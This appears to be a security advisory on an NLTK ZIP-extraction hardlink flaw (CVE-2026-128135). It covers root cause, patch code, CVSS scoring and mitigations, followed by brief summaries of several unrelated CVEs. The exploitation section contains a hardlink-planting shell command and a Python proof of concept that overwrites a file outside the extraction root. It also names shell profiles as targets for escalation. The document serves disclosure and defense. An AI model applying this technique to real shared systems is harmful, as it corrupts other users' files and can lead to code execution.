Nov 20, 2026·10 min read·0 visits
NLTK versions 3.9.4 to 3.10.3 fail to reject multiply-linked files during ZIP package extraction and silently fall back to standard library extraction when handling string member names. A local attacker with write access to the extraction target directory can plant a hardlink pointing to an external file on the same filesystem, causing NLTK to overwrite the external target during package installation. Upgrading to NLTK 3.10.4 resolves the issue.
A local sandbox escape vulnerability exists in the Natural Language Toolkit (NLTK) versions 3.9.4 through 3.10.3 within its ZIP archive extraction implementation. Due to a type mismatch in member resolution and a failure to inspect filesystem link counts (st_nlink > 1), the extraction routine follows pre-planted hardlinks inside the extraction root, allowing a local attacker to truncate and overwrite arbitrary out-of-root files writable by the executing process.
The Natural Language Toolkit (NLTK) is a Python library used for natural language processing research and production data pipelines. To support corpora, pre-trained models, and lexical datasets, NLTK includes an integrated package manager (nltk.downloader) and a filesystem containment subsystem (nltk.pathsec). The pathsec module acts as an application-level sandbox designed to ensure that all file reads, writes, and archive extractions remain strictly confined within designated trusted data roots (nltk.data.path).
In NLTK versions 3.9.4 through 3.10.3, the archive extraction boundary enforced by nltk.pathsec.ZipFile and nltk.downloader._unzip_iter is vulnerable to improper link resolution (CWE-59) and external control of file paths (CWE-73). Specifically, the extraction mechanism fails to detect or refuse pre-existing hardlinks within the target extraction directory that reference inodes located outside the sandbox root.
Compounding the missing link count check, a type-checking flaw in nltk.pathsec.ZipFile._extract_member causes standard extraction calls from extract() and extractall() to bypass the custom hardened path walk entirely. When invoked with string member names, the wrapper delegates execution directly to Python's standard library zipfile.ZipFile._extract_member, which opens destination paths in write-truncate mode without link verification.
Consequently, a local attacker who has permissions to create hardlinks within a shared or multi-user NLTK data directory can alias an arbitrary external file on the same filesystem volume. When a victim user or automated service subsequently downloads or extracts an NLTK package containing a matching filename, the extraction process writes through the hardlink, truncating and overwriting the external file with archive contents.
The vulnerability stems from two distinct implementation flaws in nltk/pathsec.py and nltk/downloader.py. The nltk.pathsec.ZipFile class subclasses Python's standard zipfile.ZipFile to override _extract_member(self, member, targetpath, pwd). The override was designed to anchor directory traversals using raw file descriptors (dir_fd) via os.open() with the os.O_NOFOLLOW flag, preventing symlink traversal attacks during extraction.
The first flaw is a silent bypass of this hardened extraction path caused by a parameter type mismatch. In Python's standard zipfile module, extract() and extractall() iterate over archive contents and frequently pass the member argument to _extract_member as a str representing the member's filename rather than a zipfile.ZipInfo instance. However, the entry guard in nltk.pathsec.ZipFile._extract_member checked getattr(member, "filename", None) is None. Because a Python str object does not possess a filename attribute, this condition evaluated to True, causing the method to immediately execute return super()._extract_member(member, targetpath, pwd).
The second flaw occurs even when _extract_member is invoked directly with a resolved zipfile.ZipInfo object. At the end of the hardened directory traversal, if the destination file already existed, pathsec.ZipFile opened the target leaf using os.open(leaf, os.O_WRONLY | os.O_TRUNC | os.O_NOFOLLOW, dir_fd=dir_fd). While os.O_NOFOLLOW instructs the kernel not to resolve a symbolic link at the final path component, it has no effect on hardlinks.
At the POSIX filesystem layer, a hardlink is a directory entry that maps a filename directly to an existing inode. To the open() and openat() system calls, a hardlinked file is a standard regular file (S_ISREG). Because NLTK failed to inspect the inode's link count (st_nlink > 1) via os.fstat() or os.lstat() prior to opening the descriptor with O_TRUNC, the kernel opened the shared underlying inode, truncated its existing data blocks, and wrote the archive payload directly into the aliased out-of-root file.
The remediation, implemented in commits cf12a5e6a439fe1d722acd53d4309911faaaaf78 and 0e9898b7615b4ab3b023e868212316a489ece4f0, addresses both the type-mismatch fallback and the hardlink overwrite semantics across nltk/pathsec.py and nltk/downloader.py.
In nltk/pathsec.py, _extract_member was updated to explicitly resolve string member identifiers into zipfile.ZipInfo objects using self.getinfo(member) before evaluating the guard condition. Additionally, path resolution was updated to properly handle _extract_root when invoked from extract() or extractall(), ensuring the relative path components are derived from the archive member name rather than the base directory.
# nltk/pathsec.py (Patched in 3.10.4)
def _extract_member(self, member, targetpath, pwd):
import shutil as _shutil
# Resolve string member names to ZipInfo objects so the hardened walk
# engages instead of falling back to the standard library extractor.
if not isinstance(member, zipfile.ZipInfo):
try:
member = self.getinfo(member)
except KeyError:
return super()._extract_member(member, targetpath, pwd)
if (
getattr(member, "filename", None) is None
or member.is_dir()
or os.name != "posix"
or os.open not in os.supports_dir_fd
or not getattr(os, "O_NOFOLLOW", 0)
):
return super()._extract_member(member, targetpath, pwd)When handling an existing destination file at the leaf component, the patch eliminates the in-place O_TRUNC open operation. Instead, it inspects the file status structure returned by os.fstat(). If info.st_nlink > 1 is detected, the extractor raises a PermissionError security violation. Furthermore, if the existing file is confirmed to be a regular, single-linked file (st_nlink == 1), the code unlinks the directory entry first (os.unlink(leaf, dir_fd=dir_fd)) and re-creates a fresh inode using O_CREAT | O_EXCL (contained in flags).
# nltk/pathsec.py - Leaf file validation and replacement
if not stat.S_ISREG(info.st_mode):
raise PermissionError(
f"Security Violation [pathsec.ZipFile]: refusing to "
f"extract onto non-regular file {leaf!r}"
)
# Reject any file with multiple hardlinks to prevent writing through
# an in-root alias to an out-of-root inode (CWE-59).
if info.st_nlink > 1:
raise PermissionError(
f"Security Violation [pathsec.ZipFile]: refusing "
f"multiply-linked file {leaf!r} (st_nlink="
f"{info.st_nlink}); a hardlink may alias an "
"outside-root inode (CWE-59)"
)
# Unlink the existing single-linked file and recreate with O_EXCL
# rather than truncating in place.
os.unlink(leaf, dir_fd=dir_fd)
leaf_fd = os.open(leaf, flags, 0o644, dir_fd=dir_fd)As a defense-in-depth measure, nltk/downloader.py was also patched within _unzip_iter. Before calling zf.extract(member, root_abs), the downloader performs an os.lstat() check on the normalized destination path and aborts extraction if a regular file with st_nlink > 1 is encountered:
# nltk/downloader.py (Patched in 3.10.4)
target_abs = os.path.normpath(os.path.join(root_abs, member))
try:
tstat = os.lstat(target_abs)
except OSError:
tstat = None
if tstat is not None and stat.S_ISREG(tstat.st_mode) and tstat.st_nlink > 1:
yield ErrorMessage(
filename,
f"Multiply-linked target blocked: {member!r} "
"(hardlink may alias outside-root inode, CWE-59)",
)
returnThis two-layer fix is comprehensive for POSIX environments supporting dir_fd and O_NOFOLLOW. By coupling the st_nlink > 1 verification with an explicit os.unlink() and O_CREAT | O_EXCL recreation cycle, the patch neutralizes both pre-planted hardlinks and potential time-of-check to time-of-use (TOCTOU) link-swapping race conditions during file truncation.
Exploiting CVE-2026-128135 requires local access to a POSIX filesystem where an NLTK data extraction directory is writable by an unprivileged user or shared across multiple accounts (such as shared compute nodes, multi-tenant Jupyter environments, or common /usr/share/nltk_data or /tmp staging directories). Because hardlinks operate at the inode level within a single mount point, the target file to be overwritten must reside on the same filesystem partition as the NLTK extraction directory.
Furthermore, if the host operating system enforces kernel-level hardlink restrictions (such as fs.protected_hardlinks=1 on Linux), the attacker must either own the target file being linked, have read and write permissions to the target file, or exploit a service running under the same user UID that relies on nltk.pathsec to isolate untrusted data directories from application configuration or code files.
To execute the attack, the attacker first identifies a file path that will be written during a subsequent NLTK ZIP extraction (for example, corpora/package/data.txt). The attacker creates a hardlink at that location inside the extraction root pointing to an out-of-root target file:
# Create a hardlink inside the NLTK corpus directory aliasing an external file
ln /path/to/external/target_file /path/to/nltk_data/corpora/package/data.txtThe official regression probe in the NLTK repository (nltk/test/unit/security_probes/ghsa_wr3g_j6qj_xpgh.py) demonstrates the exact exploitation mechanics:
import os
import tempfile
import zipfile
import nltk.pathsec as ps
# 1. Create a workspace and register it as a trusted data root
box = tempfile.mkdtemp()
root = os.path.join(box, "corpus")
os.makedirs(root)
# 2. Create the target file outside the extraction root
secret = os.path.join(box, "secret_outside_root")
with open(secret, "wb") as fh:
fh.write(b"ORIGINAL_SECRET_BYTES")
# 3. Plant a hardlink inside the extraction root pointing to the external file
planted = os.path.join(root, "evil.txt")
os.link(secret, planted)
# 4. Craft a ZIP archive containing a member with the same name as the hardlink
zip_path = os.path.join(box, "payload.zip")
with zipfile.ZipFile(zip_path, "w") as zf:
zf.writestr("evil.txt", b"EVIL_ZIP_MEMBER_PAYLOAD")
# 5. Trigger extraction via pathsec.ZipFile
with ps.ZipFile(zip_path) as zf:
zf.extractall(root)In NLTK versions 3.9.4 through 3.10.3, executing zf.extractall(root) silently bypasses the pathsec walk, opens planted with mode "wb", and overwrites the shared inode. Inspecting /path/to/box/secret_outside_root after extraction reveals that ORIGINAL_SECRET_BYTES has been replaced with EVIL_ZIP_MEMBER_PAYLOAD. In NLTK 3.10.4, zf.extractall(root) raises a PermissionError citing st_nlink=2 and leaves the external file untouched.
The vulnerability is rated High severity with a CVSS v3.1 base score of 7.1 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H). The Attack Vector is Local (AV:L) with Low Attack Complexity (AC:L) and Low Privileges Required (PR:L), requiring no User Interaction (UI:N). Because the extraction operation writes archive contents into the target inode without returning the original file contents to the attacker, there is no direct Confidentiality impact (C:N).
The primary security impact affects file Integrity (I:H) and Availability (A:H). Any application or multi-user environment relying on nltk.pathsec to enforce directory containment around archive extraction is exposed to arbitrary file modification within the privilege boundary of the Python process performing the extraction.
If an attacker redirects a package member write to a critical configuration file, database file, or serialized state file outside the NLTK data root, the original file is truncated and corrupted with the extracted corpus data, causing immediate denial of service. If the attacker controls the contents of the ZIP archive being extracted and redirects the write to an executable script, Python module, or user shell profile (such as ~/.bashrc or ~/.profile), the arbitrary file overwrite can be escalated to arbitrary code execution within the context of the victim account.
As of publication, there is no EPSS score assigned and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Public proof-of-concept code exists in the form of the official unit test probe shipped with the patch.
Users and administrators operating affected versions of NLTK (>= 3.9.4, < 3.10.4) should upgrade immediately to NLTK version 3.10.4 or later. The patched release ensures all archive extraction calls resolve string member names to ZipInfo objects, enforces a strict st_nlink == 1 check on existing destination files, and unlinks existing single-linked files before recreating them with O_EXCL.
pip install --upgrade "nltk>=3.10.4"> [!NOTE]
> In addition to fixing hardlink resolution in pathsec.ZipFile, NLTK 3.10.4 also hardens nltk.downloader so that downloaded package archives are created with mode 0600 (private to the installing account) and verified prior to unpacking.
For environments where an immediate package upgrade is not feasible, administrators should apply filesystem-level mitigations to prevent untrusted local users from staging hardlinks in NLTK directories:
nltk.data.path or defined via the NLTK_DATA environment variable. Ensure these directories are owned exclusively by the service account executing NLTK and apply restrictive directory permissions (0700 or 0750). Do not place NLTK data roots inside world-writable directories such as /tmp or /var/tmp.sysctl -w fs.protected_hardlinks=1). This prevents unprivileged users from creating hardlinks to files they do not own or lack read/write access to, reducing cross-account attack surface on shared filesystems.find /path/to/nltk_data -type f -links +1 -lsCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
nltk NLTK | >= 3.9.4, < 3.10.4 | 3.10.4 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-59: Improper Link Resolution Before File Access ('Link Following') |
| CVSS v3.1 Score | 7.1 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) |
| Attack Vector | Local Filesystem (Pre-planted POSIX Hardlink in NLTK Extraction Directory) |
| Affected Component | nltk.pathsec.ZipFile._extract_member and nltk.downloader._unzip_iter |
| Affected Versions | NLTK >= 3.9.4, < 3.10.4 |
| Patched Version | NLTK 3.10.4 |
| Impact | Sandbox Escape, Arbitrary Out-of-Root File Truncation and Overwrite |
| Exploit Status | PoC Available (Official Unit Test Regression Probe) |
The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
CVE-2026-129304 is an improper input validation and Redis glob pattern injection vulnerability in Guard Core versions 1.0.0 through 3.12.0. The header parsing routine _extract_from_forwarded_header() extracts values from the X-Forwarded-For HTTP header without verifying that the extracted substring is a valid IPv4 or IPv6 address. In deployments configured with trusted_proxies where the target header index is client-controllable, arbitrary strings containing Redis glob metacharacters reach BehaviorTracker and are interpolated directly into Redis key names and blocking KEYS queries. This allows unauthenticated attackers to aggregate cross-client behavioral metrics, trigger false-positive rate limits, cause denial of service via O(N) Redis keyspace scans, or raise unhandled ValueError exceptions during automated IP ban operations.
iSponsorBlockTV prior to version 2.11.0 contains a blind Server-Side Request Forgery (SSRF) vulnerability in its Simple Service Discovery Protocol (SSDP) and Discovery and Launch (DIAL) client implementation. During local device discovery, the application processes SSDP responses without validating that the URL specified in the LOCATION header or the subsequent application-url response header matches the IP address of the responding UDP host. An adjacent network attacker can spoof SSDP responses to induce the iSponsorBlockTV host to send arbitrary HTTP GET requests and constrained HTTP POST requests to internal network endpoints or loopback services.
CVE-2026-121707 is a high-severity Regular Expression Denial of Service (ReDoS) vulnerability in the Effect TypeScript library prior to version 3.22.1. When evaluating untrusted input against Schema.TemplateLiteral definitions containing multiple string spans, the dynamically compiled regular expression exhibits polynomial backtracking complexity. Because JavaScript runtimes execute on a single-threaded event loop, processing specially crafted non-matching strings causes synchronous CPU starvation and complete application unresponsiveness.
CVE-2026-75518 is an incorrect authorization and privilege assignment vulnerability in the DOMShell Model Context Protocol (MCP) server (@apireno/domshell) prior to version 2.0.8. The server classified the domshell_eval tool and the eval command as read-tier operations, permitting their execution without the --allow-write flag. Because the eval command dispatches through the same Chrome DevTools Protocol (CDP) Runtime.evaluate pipeline as the write-tier js command without enabling the throwOnSideEffect constraint, callers restricted to read-only sessions can execute state-mutating JavaScript in the browser context while host user interfaces and audit logs record the activity as read-only.
CVE-2026-63411 (GHSA-xwcw-j52r-34x4) is a remote code execution vulnerability in the Jane PHP code generation framework (janephp/janephp), specifically affecting the jane-php/open-api-3 component prior to version 7.12.0. The generator constructs PHP docblocks using unsanitized parameter names and descriptions extracted directly from OpenAPI specifications. By embedding the comment closing sequence (*/) followed by valid PHP syntax inside an OpenAPI description or parameter name, an attacker can break out of the PHPDoc context and inject executable code directly into the generated class body. When the consuming application instantiates the generated client or endpoint class, an injected __construct() method executes arbitrary PHP code under the privileges of the host runtime.
CVE-2026-63413 is a code injection vulnerability in the Jane PHP OpenAPI 3 SDK generator (jane-php/open-api-3) prior to version 7.12.0. The vulnerability occurs because the generator interpolates OpenAPI header and query parameter names directly into generated PHPDoc comment blocks without sanitizing comment closing delimiters (*/). An attacker who supplies or modifies an OpenAPI specification can break out of the docblock context and inject arbitrary PHP methods, such as a class constructor, into the generated Client or Endpoint class body. When the consuming application instantiates the generated SDK, the injected code executes with the privileges of the host PHP process.